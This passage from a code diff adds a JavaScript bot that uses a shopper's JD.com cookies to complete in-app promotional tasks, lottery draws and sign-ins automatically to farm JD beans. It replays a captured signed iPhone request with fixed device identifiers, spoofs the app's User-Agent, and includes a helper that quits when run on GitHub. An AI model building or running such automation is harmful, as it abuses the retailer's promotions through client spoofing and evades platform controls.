`body=%7B%22homeAreaCode%22%3A%220%22%2C%22identity%22%3A%2288732f840b77821b345bf07fd71f609e6ff12f43%22%2C%22cycNum%22%3A1%2C%22fQueryStamp%22%3A%221619741900009%22%2C%22globalUIStyle%22%3A%229.0.0%22%2C%22showCate%22%3A%221%22%2C%22tSTimes%22%3A%220%22%2C%22geoLast%22%3A%22K3%252BcQaJxm9FzAm8%252BYHBwQKEMnguxItJAtNhFQOgUkktO5Vmidb%252BfKedLYq%252Fjlnc%252BK0ZsoA8jI8yXkYA6M2L5NYrGdBxZPbV%252FzT%252BU%252BHaCeNg%253D%22%2C%22geo%22%3A%22CZQirfKpZqpcvvBN0KadX76P55F3UdFoB2C3P0ZyHOXZWjeifB1aM0xH3BWx0YRlyu4eaUsfA3KpuoAraiffcw%253D%253D%22%2C%22cycFirstTimeStamp%22%3A%221619740961090%22%2C%22displayVersion%22%3A%229.0.0%22%2C%22geoReal%22%3A%22CZQirfKpZqpcvvBN0KadX76P55F3UdFoB2C3P0ZyHOXtnAGs7wzWHMkTSTIEj7qi%22%2C%22controlMaterials%22%3A%22null%22%2C%22xviewGuideFloor%22%3A%22index%2Ccategory%2Cfind%2Ccart%2Chome%22%2C%22fringe%22%3A%221%22%2C%22receiverGeo%22%3A%22mTBeEjk2Q83Kb3%252Fylt2Amm7iguwnhvKDgDnR18TktRpedJcPIHjALOIwGuNKAgau%22%7D&client=apple&clientVersion=9.4.6&d_brand=apple&isBackground=N&joycious=104&lang=zh_CN&networkType=4g&networklibtype=JDNetworkBaseAF&openudid=88732f840b77821b345bf07fd71f609e6ff12f43&osVersion=14.3&partner=apple&rfs=0000&scope=11&screen=828%2A1792&sign=69cc68677ae63b0a8737602766a0a340&st=1619741900013&sv=111&uts=0f31TVRjBSujckcdxhii7gq9cidRV4uxtCNZpaQs9IOuG5PD2oGme36aUnsUBSyCtrnCzcJjRQzsekOXnNu9XyW4W2UAsnnZ06POovikHhGabI9pwW8ZeJ2vmOBTWqWjA66DWDvRHGVeJeXzsm5xolz7r%2FX0APYfhg8I5QBwgKJfD3hzoXkHcnsGfMhHncRzuC4iOtgVG8L%2FnQyyNwXAJQ%3D%3D&uuid=hjudwgohxzVu96krv%2FT6Hg%3D%3D&wifiBssid=unknown`, + headers: { + "Accept": "*/*", + "Accept-Encoding": "gzip, deflate, br", + "Accept-Language": "zh-Hans-CN;q=1, zh-Hant-CN;q=0.9", + "Connection": "keep-alive", + "Content-Length": "1761", + "Content-Type": "application/x-www-form-urlencoded", + "Host": "api.m.jd.com", + "User-Agent": "JD4iPhone/167588 (iPhone; iOS 14.3; Scale/2.00)" + } + } + $.post(options, async (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} welcomeHome API请求失败,请检查网路重试`) + } else { + if (data) { + data = JSON.parse(data); + if (data['floorList'] && data['floorList'].length) { + const shakeFloorNew = data['floorList'].filter(vo => !!vo && vo.type === 'shakeFloorNew')[0]; + const shakeFloorNew2 = data['floorList'].filter(vo => !!vo && vo.type === 'float')[0]; + // console.log('shakeFloorNew2', JSON.stringify(shakeFloorNew2)) + if (shakeFloorNew) { + const jump = shakeFloorNew['jump']; + if (jump && jump.params && jump['params']['url']) { + $.superShakeUrl = jump.params.url;//有活动链接,但活动可能已过期,需做进一步判断 + console.log(`【超级摇一摇】活动链接:${jump.params.url}`); + } + } + if (shakeFloorNew2) { + const jump = shakeFloorNew2['jump']; + if (jump && jump.params && jump['params']['url'].includes('https://h5.m.jd.com/babelDiy/Zeus/2PTXhrEmiMEL3mD419b8Gn9bUBiJ/index.html')) { + console.log(`【超级品牌日】活动链接:${jump.params.url}`); + $.superbrandUrl = jump.params.url; + } + } + } + } + } + } catch (e) { + $.logErr(e, resp); + } finally { + resolve(); + } + }) + }) +} +//=========老版本超级摇一摇================ +function getActInfo(url) { + return new Promise(resolve => { + $.get({ + url, + headers:{ + // 'Cookie': cookie, + 'User-Agent': $.isNode() ? (process.env.JD_USER_AGENT ? process.env.JD_USER_AGENT : (require('./USER_AGENTS').USER_AGENT)) : ($.getdata('JDUA') ? $.getdata('JDUA') : "jdapp;iPhone;9.4.4;14.3;network/4g;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1"), + }, + timeout: 10000 + },async (err,resp,data)=>{ + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + data = data && data.match(/window\.__FACTORY__TAOYIYAO__STATIC_DATA__ = (.*)}/) + if (data) { + data = JSON.parse(data[1] + '}'); + if (data['pageConfig']) superShakeBeanConfig['superShakeTitle'] = data['pageConfig']['htmlTitle']; + if (data['taskConfig']) { + $.ActInfo = data['taskConfig']['taskAppId']; + console.log(`\n获取【${superShakeBeanConfig['superShakeTitle']}】活动ID成功:${$.ActInfo}\n`); + } + } + } + } catch (e) { + console.log(e) + } + finally { + resolve() + } + }) + }) +} +function fc_getHomeData(appId, flag = false) { + return new Promise(resolve => { + const body = { appId } + const options = taskPostUrl('fc_getHomeData', body) + $.taskVos = []; + $.lotteryNum = 0; + $.post(options, async (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} fc_getHomeData API请求失败,请检查网路重试`) + } else { + if (data) { + data = JSON.parse(data); + if (data['code'] === 0) { + if (data['data']['bizCode'] === 0) { + const taskVos = data['data']['result']['taskVos'] || []; + if (flag && $.index === 1) { + superShakeBeanConfig['superShakeBeanFlag'] = true; + superShakeBeanConfig['taskVipName'] = taskVos.filter(vo => !!vo && vo['taskType'] === 21)[0]['taskName']; + } + superShakeBeanConfig['superShakeUlr'] = $.superShakeUrl; + $.taskVos = taskVos.filter(item => !!item && item['status'] === 1) || []; + $.lotteryNum = parseInt(data['data']['result']['lotteryNum']); + $.lotTaskId = parseInt(data['data']['result']['lotTaskId']); + } else if (data['data']['bizCode'] === 101) { + console.log(`京东APP首页超级摇一摇: ${data['data']['bizMsg']}`); + } + } else { + console.log(`获取超级摇一摇任务数据异常: ${JSON.stringify(data)}`) + } + } + } + } catch (e) { + $.logErr(e, resp); + } finally { + resolve(); + } + }) + }) +} +async function doShakeTask(appId) { + for (let vo of $.taskVos) { + if (vo['taskType'] === 21) { + console.log(`超级摇一摇 ${vo['taskName']} 跳过`); + continue + } + if (vo['taskType'] === 9) { + console.log(`开始做 ${vo['taskName']},等10秒`); + const shoppingActivityVos = vo['shoppingActivityVos']; + for (let task of shoppingActivityVos) { + await fc_collectScore({ + appId, + "taskToken": task['taskToken'], + "taskId": vo['taskId'], + "itemId": task['itemId'], + "actionType": 1 + }) + await $.wait(10000) + await fc_collectScore({ + appId, + "taskToken": task['taskToken'], + "taskId": vo['taskId'], + "itemId": task['itemId'], + "actionType": 0 + }) + } + } + if (vo['taskType'] === 1) { + console.log(`开始做 ${vo['taskName']}, 等8秒`); + const followShopVo = vo['followShopVo']; + for (let task of followShopVo) { + await fc_collectScore({ + appId, + "taskToken": task['taskToken'], + "taskId": vo['taskId'], + "itemId": task['itemId'], + "actionType": 1 + }) + await $.wait(9000) + await fc_collectScore({ + appId, + "taskToken": task['taskToken'], + "taskId": vo['taskId'], + "itemId": task['itemId'], + "actionType": 0 + }) + } + } + } +} +function fc_collectScore(body) { + return new Promise(resolve => { + const options = taskPostUrl('fc_collectScore', body) + $.post(options, (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} fc_collectScore API请求失败,请检查网路重试`) + } else { + if (data) { + data = JSON.parse(data); + console.log(`${JSON.stringify(data)}`) + } + } + } catch (e) { + $.logErr(e, resp); + } finally { + resolve(); + } + }) + }) +} +async function superShakeLottery(appId) { + if ($.lotteryNum) console.log(`\n\n开始京东APP首页超级摇一摇 摇奖`); + for (let i = 0; i < new Array($.lotteryNum).fill('').length; i++) { + await fc_getLottery(appId);//抽奖 + await $.wait(1000) + } + if ($.superShakeBeanNum > 0) { + message += `${message ? '\n' : ''}${superShakeBeanConfig['superShakeTitle']}:获得${$.superShakeBeanNum}京豆` + allMessage += `京东账号${$.index}${$.nickName || $.UserName}\n${superShakeBeanConfig['superShakeTitle']}:获得${$.superShakeBeanNum}京豆${$.index !== cookiesArr.length ? '\n\n' : ''}`; + } +} +function fc_getLottery(appId) { + return new Promise(resolve => { + const body = {appId, "taskId": $.lotTaskId} + const options = taskPostUrl('fc_getLotteryResult', body) + $.post(options, (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} fc_collectScore API请求失败,请检查网路重试`) + } else { + if (data) { + data = JSON.parse(data); + if (data && data['data']['bizCode'] === 0) { + $.myAwardVo = data['data']['result']['myAwardVo']; + if ($.myAwardVo) { + console.log(`超级摇一摇 抽奖结果:${JSON.stringify($.myAwardVo)}`) + if ($.myAwardVo['type'] === 2) { + $.superShakeBeanNum = $.superShakeBeanNum + parseInt($.myAwardVo['jBeanAwardVo']['quantity']); + } + } + } else { + console.log(`超级摇一摇 抽奖异常: ${JSON.stringify(data)}`) + } + } + } + } catch (e) { + $.logErr(e, resp); + } finally { + resolve(); + } + }) + }) +} +//===================新版超级本摇一摇============== +function superBrandMainPage() { + return new Promise(resolve => { + const body = {"source":"main"}; + const options = superShakePostUrl('superBrandMainPage', body) + $.post(options, (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} superBrandTaskList API请求失败,请检查网路重试`) + } else { + if (data) { + data = JSON.parse(data); + if (data['code'] === '0') { + if (data['data']['bizCode'] === '0') { + //superShakeBeanConfig['superShakeUlr'] = jump.params.url; + //console.log(`【超级摇一摇】活动链接:${superShakeBeanConfig['superShakeUlr']}`); + superShakeBeanConfig['superShakeUlr'] = $.superShakeUrl; + $.activityId = data['data']['result']['activityBaseInfo']['activityId']; + $.encryptProjectId = data['data']['result']['activityBaseInfo']['encryptProjectId']; + $.activityName = data['data']['result']['activityBaseInfo']['activityName']; + $.userStarNum = Number(data['data']['result']['activityUserInfo']['userStarNum']) || 0; + superShakeBeanConfig['superShakeTitle'] = $.activityName; + console.log(`${$.activityName} 当前共有积分:${$.userStarNum},可抽奖:${parseInt($.userStarNum / 100)}次(最多4次摇奖机会)\n`); + } else { + console.log(`\n【新版本 超级摇一摇】获取信息失败:${data['data']['bizMsg']}\n`); + } + } else { + console.log(`获取超级摇一摇信息异常:${JSON.stringify(data)}\n`); + } + } + } + } catch (e) { + $.logErr(e, resp); + } finally { + resolve(); + } + }) + }) +} +function superBrandTaskList() { + return new Promise(resolve => { + $.taskList = []; + const body = {"activityId": $.activityId, "assistInfoFlag": 4, "source": "main"}; + const options = superShakePostUrl('superBrandTaskList', body) + $.post(options, (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} superBrandTaskList API请求失败,请检查网路重试`) + } else { + if (data) { + // console.log(data); + data = JSON.parse(data); + if (data['code'] === '0' && data['data']['bizCode'] === '0') { + $.taskList = data['data']['result']['taskList']; + $.canLottery = $.taskList.filter(vo => !!vo && vo['assignmentTimesLimit'] === 4)[0]['completionFlag'] + } else { + console.log(`获取超级摇一摇任务异常:${JSON.stringify(data)}`); + } + } + } + } catch (e) { + $.logErr(e, resp); + } finally { + resolve(); + } + }) + }) +} +async function superBrandDoTaskFun() { + $.taskList = $.taskList.filter(vo => !!vo && !vo['completionFlag'] && (vo['assignmentType'] !== 6 && vo['assignmentType'] !== 7 && vo['assignmentType'] !== 0 && vo['assignmentType'] !== 30)); + for (let item of $.taskList) { + if (item['assignmentType'] === 1) { + const { ext } = item; + console.log(`开始做 ${item['assignmentName']},需等待${ext['waitDuration']}秒`); + const shoppingActivity = ext['shoppingActivity']; + for (let task of shoppingActivity) { + await superBrandDoTask({ + "activityId": $.activityId, + "encryptProjectId": $.encryptProjectId, + "encryptAssignmentId": item['encryptAssignmentId'], + "assignmentType": item['assignmentType'], + "itemId": task['itemId'], + "actionType": 1, + "source": "main" + }) + await $.wait(1000 * ext['waitDuration']) + await superBrandDoTask({ + "activityId": $.activityId, + "encryptProjectId": $.encryptProjectId, + "encryptAssignmentId": item['encryptAssignmentId'], + "assignmentType": item['assignmentType'], + "itemId": task['itemId'], + "actionType": 0, + "source": "main" + }) + } + } + if (item['assignmentType'] === 3) { + const { ext } = item; + console.log(`开始做 ${item['assignmentName']}`); + const followShop = ext['followShop']; + for (let task of followShop) { + await superBrandDoTask({ + "activityId": $.activityId, + "encryptProjectId": $.encryptProjectId, + "encryptAssignmentId": item['encryptAssignmentId'], + "assignmentType": item['assignmentType'], + "itemId": task['itemId'], + "actionType": 0, + "source": "main" + }) + } + } + if (item['assignmentType'] === 2) { + const { ext } = item; + const assistTaskDetail = ext['assistTaskDetail']; + console.log(`${item['assignmentName']}好友邀请码: ${assistTaskDetail['itemId']}`) + if (assistTaskDetail['itemId']) $.assigFirends.push({ + itemId: assistTaskDetail['itemId'], + encryptAssignmentId: item['encryptAssignmentId'], + assignmentType: item['assignmentType'], + }); + } + } +} +function superBrandDoTask(body) { + return new Promise(resolve => { + const options = superShakePostUrl('superBrandDoTask', body) + $.post(options, (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} superBrandTaskList API请求失败,请检查网路重试`) + } else { + if (data) { + if (body['assignmentType'] === 2) { + console.log(`助力好友 ${body['itemId']}结果 ${data}`); + } else { + console.log('做任务结果', data); + } + data = JSON.parse(data); + if (data && data['code'] === '0' && data['data']['bizCode'] === '108') { + $.canHelp = false; + } + } + } + } catch (e) { + $.logErr(e, resp); + } finally { + resolve(); + } + }) + }) +} +async function lo() { + const num = parseInt(($.userStarNum || 0) / 100); + if (!$.canLottery) { + for (let i = 0; i < new Array(num).fill('').length; i++) { + await $.wait(1000); + await superBrandTaskLottery(); + } + } + if ($.superShakeBeanNum > 0) { + message += `${message ? '\n' : ''}${$.activityName || '超级摇一摇'}:获得${$.superShakeBeanNum}京豆\n`; + allMessage += `京东账号${$.index}${$.nickName || $.UserName}\n${superShakeBeanConfig['superShakeTitle']}:获得${$.superShakeBeanNum}京豆${$.index !== cookiesArr.length ? '\n\n' : ''}`; + } +} +function superBrandTaskLottery() { + return new Promise(resolve => { + const body = { "activityId": $.activityId, "source": "main" } + const options = superShakePostUrl('superBrandTaskLottery', body) + $.post(options, (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} superBrandDoTaskLottery API请求失败,请检查网路重试`) + } else { + if (data) { + data = JSON.parse(data); + if (data && data['code'] === '0') { + if (data['data']['bizCode'] === "TK000") { + $.rewardComponent = data['data']['result']['rewardComponent']; + if ($.rewardComponent) { + console.log(`超级摇一摇 抽奖结果:${JSON.stringify($.rewardComponent)}`) + if ($.rewardComponent.beanList && $.rewardComponent.beanList.length) { + console.log(`获得${$.rewardComponent.beanList[0]['quantity']}京豆`) + $.superShakeBeanNum += parseInt($.rewardComponent.beanList[0]['quantity']); + } + } + } else if (data['data']['bizCode'] === "TK1703") { + console.log(`超级摇一摇 抽奖失败:${data['data']['bizMsg']}`); + } else { + console.log(`超级摇一摇 抽奖失败:${data['data']['bizMsg']}`); + } + } else { + console.log(`超级摇一摇 抽奖异常: ${JSON.stringify(data)}`) + } + } + } + } catch (e) { + $.logErr(e, resp); + } finally { + resolve(); + } + }) + }) +} +//============超级品牌日============== +async function superbrandShakeBean() { + $.bradCanLottery = true;//是否有超级品牌日活动 + $.bradHasLottery = false;//是否已抽奖 + await qryCompositeMaterials("advertGroup", "04405074", "Brands");//获取品牌活动ID + await superbrand_getHomeData(); + if (!$.bradCanLottery) { + console.log(`【${$.stageName} 超级品牌日】:活动不在进行中`) + return + } + if ($.bradHasLottery) { + console.log(`【${$.stageName} 超级品牌日】:已完成抽奖`) + return + } + await superbrand_getMaterial();//获取完成任务所需的一些ID + await qryCompositeMaterials();//做任务 + await superbrand_getGift();//抽奖 +} +function superbrand_getMaterial() { + return new Promise(resolve => { + const body = {"brandActivityId":$.brandActivityId} + const options = superShakePostUrl('superbrand_getMaterial', body) + $.post(options, (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} superbrand_getMaterial API请求失败,请检查网路重试`) + } else { + if (data) { + data = JSON.parse(data) + if (data['code'] === 0) { + if (data['data']['bizCode'] === 0) { + const { result } = data['data']; + $.cmsTaskShopId = result['cmsTaskShopId']; + $.cmsTaskLink = result['cmsTaskLink']; + $.cmsTaskGroupId = result['cmsTaskGroupId']; + console.log(`【cmsTaskGroupId】:${result['cmsTaskGroupId']}`) + } else { + console.log(`超级超级品牌日 ${data['data']['bizMsg']}`) + } + } else { + console.log(`超级超级品牌日 异常: ${JSON.stringify(data)}`) + } + } + } + } catch (e) { + $.logErr(e, resp); + } finally { + resolve(); + } + }) + }) +} +function qryCompositeMaterials(type = "productGroup", id = $.cmsTaskGroupId, mapTo = "Tasks0") { + return new Promise(resolve => { + const t1 = {type, id, mapTo} + const qryParam = JSON.stringify([t1]); + const body = { + qryParam, + "activityId": $.brandActivityId2, + "pageId": "1411763", + "reqSrc": "jmfe", + "geo": {"lng": "", "lat": ""} + } + const options = taskPostUrl('qryCompositeMaterials', body) + $.post(options, async (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} qryCompositeMaterials API请求失败,请检查网路重试`) + } else { + if (data) { + data = JSON.parse(data); + if (data['code'] === '0') { + if (mapTo === 'Brands') { + $.stageName = data.data.Brands.stageName; + console.log(`\n\n【${$.stageName} brandActivityId】:${data.data.Brands.list[0].extension.copy1}`) + $.brandActivityId = data.data.Brands.list[0].extension.copy1 || $.brandActivityId; + } else { + const { list } = data['data']['Tasks0']; + console.log(`超级品牌日,做关注店铺 任务`) + let body = {"brandActivityId": $.brandActivityId, "taskType": "1", "taskId": $.cmsTaskShopId} + await superbrand_doMyTask(body); + console.log(`超级品牌日,逛品牌会场 任务`) + body = {"brandActivityId": $.brandActivityId, "taskType": "2", "taskId": $.cmsTaskLink} + await superbrand_doMyTask(body); + console.log(`超级品牌日,浏览下方指定商品 任务`) + for (let item of list.slice(0, 3)) { + body = {"brandActivityId": $.brandActivityId, "taskType": "3", "taskId": item['skuId']}; + await superbrand_doMyTask(body); + } + } + } else { + console.log(`qryCompositeMaterials异常: ${JSON.stringify(data)}`) + } + } + } + } catch (e) { + $.logErr(e, resp); + } finally { + resolve(); + } + }) + }) +} +//做任务API +function superbrand_doMyTask(body) { + return new Promise(resolve => { + const options = superShakePostUrl('superbrand_doMyTask', body) + $.post(options, (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} superbrand_doMyTask API请求失败,请检查网路重试`) + } else { + if (data) { + // data = JSON.parse(data) + console.log(`超级品牌日活动做任务结果:${data}\n`) + } + } + } catch (e) { + $.logErr(e, resp); + } finally { + resolve(); + } + }) + }) +} +function superbrand_getGift() { + return new Promise(resolve => { + const body = {"brandActivityId":$.brandActivityId} + const options = superShakePostUrl('superbrand_getGift', body) + $.post(options, (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} superbrand_getGift API请求失败,请检查网路重试`) + } else { + if (data) { + data = JSON.parse(data) + if (data['code'] === 0) { + if (data['data']['bizCode'] === 0) { + const { result } = data['data']; + $.jpeasList = result['jpeasList']; + if ($.jpeasList && $.jpeasList.length) { + for (let item of $.jpeasList) { + console.log(`超级品牌日 抽奖 获得:${item['quantity']}京豆🐶`); + message += `【超级品牌日】获得:${item['quantity']}京豆🐶\n`; + if ($.superShakeBeanNum === 0) { + allMessage += `京东账号${$.index}${$.nickName || $.UserName}\n【超级品牌日】获得:${item['quantity']}京豆🐶\n`; + } else { + allMessage += `【超级品牌日】获得:${item['quantity']}京豆🐶\n`; + } + } + } + } else { + console.log(`超级超级品牌日 抽奖失败: ${data['data']['bizMsg']}`) + } + } else { + console.log(`超级超级品牌日 抽奖 异常: ${JSON.stringify(data)}`) + } + } + } + } catch (e) { + $.logErr(e, resp); + } finally { + resolve(); + } + }) + }) +} +function superbrand_getHomeData() { + return new Promise(resolve => { + const body = {"brandActivityIds": $.brandActivityId} + const options = superShakePostUrl('superbrand_getHomeData', body) + $.get(options, (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} superbrand_getHomeData API请求失败,请检查网路重试`) + } else { + if (data) { + data = JSON.parse(data) + if (data['code'] === 0) { + if (data['data']['bizCode'] === 0) { + const { result } = data['data']; + if (result && result.length) { + if (result[0]['activityStatus'] === "2" && result[0]['taskVos'].length) $.bradHasLottery = true; + } + } else { + console.log(`超级超级品牌日 getHomeData 失败: ${data['data']['bizMsg']}`) + if (data['data']['bizCode'] === 101) { + $.bradCanLottery = false; + } + } + } else { + console.log(`超级超级品牌日 getHomeData 异常: ${JSON.stringify(data)}`) + } + } + } + } catch (e) { + $.logErr(e, resp); + } finally { + resolve(); + } + }) + }) +} +//=======================京东会员签到======================== +async function shakeSign() { + await pg_channel_page_data(); + if ($.token && $.currSignCursor && $.signStatus === -1) { + const body = {"floorToken": $.token, "dataSourceCode": "signIn", "argMap": { "currSignCursor": $.currSignCursor }}; + const signRes = await pg_interact_interface_invoke(body); + console.log(`京东会员第${$.currSignCursor}天签到结果;${JSON.stringify(signRes)}`) + let beanNum = 0; + if (signRes.success && signRes['data']) { + console.log(`京东会员第${$.currSignCursor}天签到成功。获得${signRes['data']['rewardVos'] && signRes['data']['rewardVos'][0]['jingBeanVo'] && signRes['data']['rewardVos'][0]['jingBeanVo']['beanNum']}京豆\n`) + beanNum = signRes['data']['rewardVos'] && signRes['data']['rewardVos'][0]['jingBeanVo'] && signRes['data']['rewardVos'][0]['jingBeanVo']['beanNum'] + } + if (beanNum) { + message += `\n京东会员签到:获得${beanNum}京豆\n`; + } + } else { + console.log(`京东会员第${$.currSignCursor}天已签到`) + } +} +function pg_channel_page_data() { + const body = { + "paramData":{"token":"dd2fb032-9fa3-493b-8cd0-0d57cd51812d"} + } + return new Promise(resolve => { + const options = { + url: `https://api.m.jd.com/?t=${Date.now()}&appid=sharkBean&functionId=pg_channel_page_data&body=${escape(JSON.stringify(body))}`, + headers: { + "Accept": "application/json", + "Accept-Encoding": "gzip, deflate, br", + "Accept-Language": "zh-cn", + "Connection": "keep-alive", + "Host": "api.m.jd.com", + "Cookie": cookie, + "Origin": "https://spa.jd.com", + "Referer": "https://spa.jd.com/home", + "User-Agent": $.isNode() ? (process.env.JD_USER_AGENT ? process.env.JD_USER_AGENT : (require('./USER_AGENTS').USER_AGENT)) : ($.getdata('JDUA') ? $.getdata('JDUA') : "jdapp;iPhone;9.4.4;14.3;network/4g;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1") + } + } + $.get(options, (err, resp, data) => { + try { + if (err) { + console.log(`\n${$.name}: API查询请求失败 ‼️‼️`) + $.logErr(err); + } else { + data = JSON.parse(data); + if (data.success) { + const SIGN_ACT_INFO = data['data']['floorInfoList'].filter(vo => !!vo && vo['code'] === 'SIGN_ACT_INFO')[0] + $.token = SIGN_ACT_INFO['token']; + if (SIGN_ACT_INFO['floorData']) { + $.currSignCursor = SIGN_ACT_INFO['floorData']['signActInfo']['currSignCursor']; + $.signStatus = SIGN_ACT_INFO['floorData']['signActInfo']['signActCycles'].filter(item => !!item && item['signCursor'] === $.currSignCursor)[0]['signStatus']; + } + // console.log($.token, $.currSignCursor, $.signStatus) + } + } + } catch (e) { + $.logErr(e, resp); + } finally { + resolve(data || {}); + } + }) + }) +} +function pg_interact_interface_invoke(body) { + return new Promise(resolve => { + const options = { + url: `https://api.m.jd.com/?appid=sharkBean&functionId=pg_interact_interface_invoke&body=${escape(JSON.stringify(body))}`, + headers: { + 'User-Agent': $.isNode() ? (process.env.JD_USER_AGENT ? process.env.JD_USER_AGENT : (require('./USER_AGENTS').USER_AGENT)) : ($.getdata('JDUA') ? $.getdata('JDUA') : "jdapp;iPhone;9.4.4;14.3;network/4g;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1"), + "Cookie": cookie, + "Accept": "application/json", + "Accept-Encoding": "gzip, deflate, br", + "Accept-Language": "zh-cn", + "Connection": "keep-alive", + "Content-Length": "0", + "Host": "api.m.jd.com", + "Origin": "https://spa.jd.com", + "Referer": "https://spa.jd.com/home" + } + } + $.post(options, (err, resp, data) => { + try { + if (err) { + console.log(`\n${$.name}: API查询请求失败 ‼️‼️`) + $.logErr(err); + } else { + data = JSON.parse(data); + } + } catch (e) { + $.logErr(e, resp); + } finally { + resolve(data || {}); + } + }) + }) +} + + +function TotalBean() { + return new Promise(async resolve => { + const options = { + url: "https://wq.jd.com/user_new/info/GetJDUserInfoUnion?sceneval=2", + headers: { + Host: "wq.jd.com", + Accept: "*/*", + Connection: "keep-alive", + Cookie: cookie, + "User-Agent": $.isNode() ? (process.env.JD_USER_AGENT ? process.env.JD_USER_AGENT : (require('./USER_AGENTS').USER_AGENT)) : ($.getdata('JDUA') ? $.getdata('JDUA') : "jdapp;iPhone;9.4.4;14.3;network/4g;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1"), + "Accept-Language": "zh-cn", + "Referer": "https://home.m.jd.com/myJd/newhome.action?sceneval=2&ufc=&", + "Accept-Encoding": "gzip, deflate, br" + } + } + $.get(options, (err, resp, data) => { + try { + if (err) { + $.logErr(err) + } else { + if (data) { + data = JSON.parse(data); + if (data['retcode'] === 1001) { + $.isLogin = false; //cookie过期 + return; + } + if (data['retcode'] === 0 && data.data && data.data.hasOwnProperty("userInfo")) { + $.nickName = data.data.userInfo.baseInfo.nickname; + } + } else { + console.log('京东服务器返回空数据'); + } + } + } catch (e) { + $.logErr(e) + } finally { + resolve(); + } + }) + }) +} +function jsonParse(str) { + if (typeof str == "string") { + try { + return JSON.parse(str); + } catch (e) { + console.log(e); + $.msg($.name, '', '请勿随意在BoxJs输入框修改内容\n建议通过脚本去获取cookie') + return []; + } + } +} +function taskUrl(function_id, body = {}, appId = 'vip_h5') { + return { + url: `${JD_API_HOST}?functionId=${function_id}&appid=${appId}&body=${escape(JSON.stringify(body))}&_=${Date.now()}`, + headers: { + 'Cookie': cookie, + 'Host': 'api.m.jd.com', + 'User-Agent': $.isNode() ? (process.env.JD_USER_AGENT ? process.env.JD_USER_AGENT : (require('./USER_AGENTS').USER_AGENT)) : ($.getdata('JDUA') ? $.getdata('JDUA') : "jdapp;iPhone;9.4.4;14.3;network/4g;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1"), + 'Referer': 'https://vip.m.jd.com/newPage/reward/123dd/slideContent?page=focus', + } + } +} +function taskPostUrl(function_id, body) { + return { + url: `https://api.m.jd.com/client.action?functionId=${function_id}&body=${escape(JSON.stringify(body))}&client=wh5&clientVersion=1.0.0`, + headers: { + 'Cookie': cookie, + 'Host': 'api.m.jd.com', + 'User-Agent': $.isNode() ? (process.env.JD_USER_AGENT ? process.env.JD_USER_AGENT : (require('./USER_AGENTS').USER_AGENT)) : ($.getdata('JDUA') ? $.getdata('JDUA') : "jdapp;iPhone;9.4.4;14.3;network/4g;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1"), + 'Referer': 'https://h5.m.jd.com/babelDiy/Zeus/4SXuJSqKganGpDSEMEkJWyBrBHcM/index.html', + } + } +} +function superShakePostUrl(function_id, body) { + return { + url: `https://api.m.jd.com/client.action?functionId=${function_id}&appid=content_ecology&body=${escape(JSON.stringify(body))}&client=wh5&clientVersion=9.3.0&uuid=8888888&t=${Date.now()}`, + headers: { + 'Cookie': cookie, + 'Host': 'api.m.jd.com', + 'User-Agent': $.isNode() ? (process.env.JD_USER_AGENT ? process.env.JD_USER_AGENT : (require('./USER_AGENTS').USER_AGENT)) : ($.getdata('JDUA') ? $.getdata('JDUA') : "jdapp;iPhone;9.4.4;14.3;network/4g;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1"), + 'Referer': 'https://h5.m.jd.com/babelDiy/Zeus/4SXuJSqKganGpDSEMEkJWyBrBHcM/index.html', + } + } +} +// prettier-ignore +function Env(t,e){"undefined"!=typeof process&&JSON.stringify(process.env).indexOf("GITHUB")>-1&&process.exit(0);class s{constructor(t){this.env=t}send(t,e="GET"){t="string"==typeof t?{url:t}:t;let s=this.get;return"POST"===e&&(s=this.post),new Promise((e,i)=>{s.call(this,t,(t,s,r)=>{t?i(t):e(s)})})}get(t){return this.send.call(this.env,t)}post(t){return this.send.call(this.env,t,"POST")}}return new class{constructor(t,e){this.name=t,this.http=new s(this),this.data=null,this.dataFile="box.dat",this.logs=[],this.isMute=!1,this.isNeedRewrite=!1,this.logSeparator="\n",this.startTime=(new Date).getTime(),Object.assign(this,e),this.log("",`🔔${this.name}, 开始!`)}isNode(){return"undefined"!=typeof module&&!!module.exports}isQuanX(){return"undefined"!=typeof $task}isSurge(){return"undefined"!=typeof $httpClient&&"undefined"==typeof $loon}isLoon(){return"undefined"!=typeof 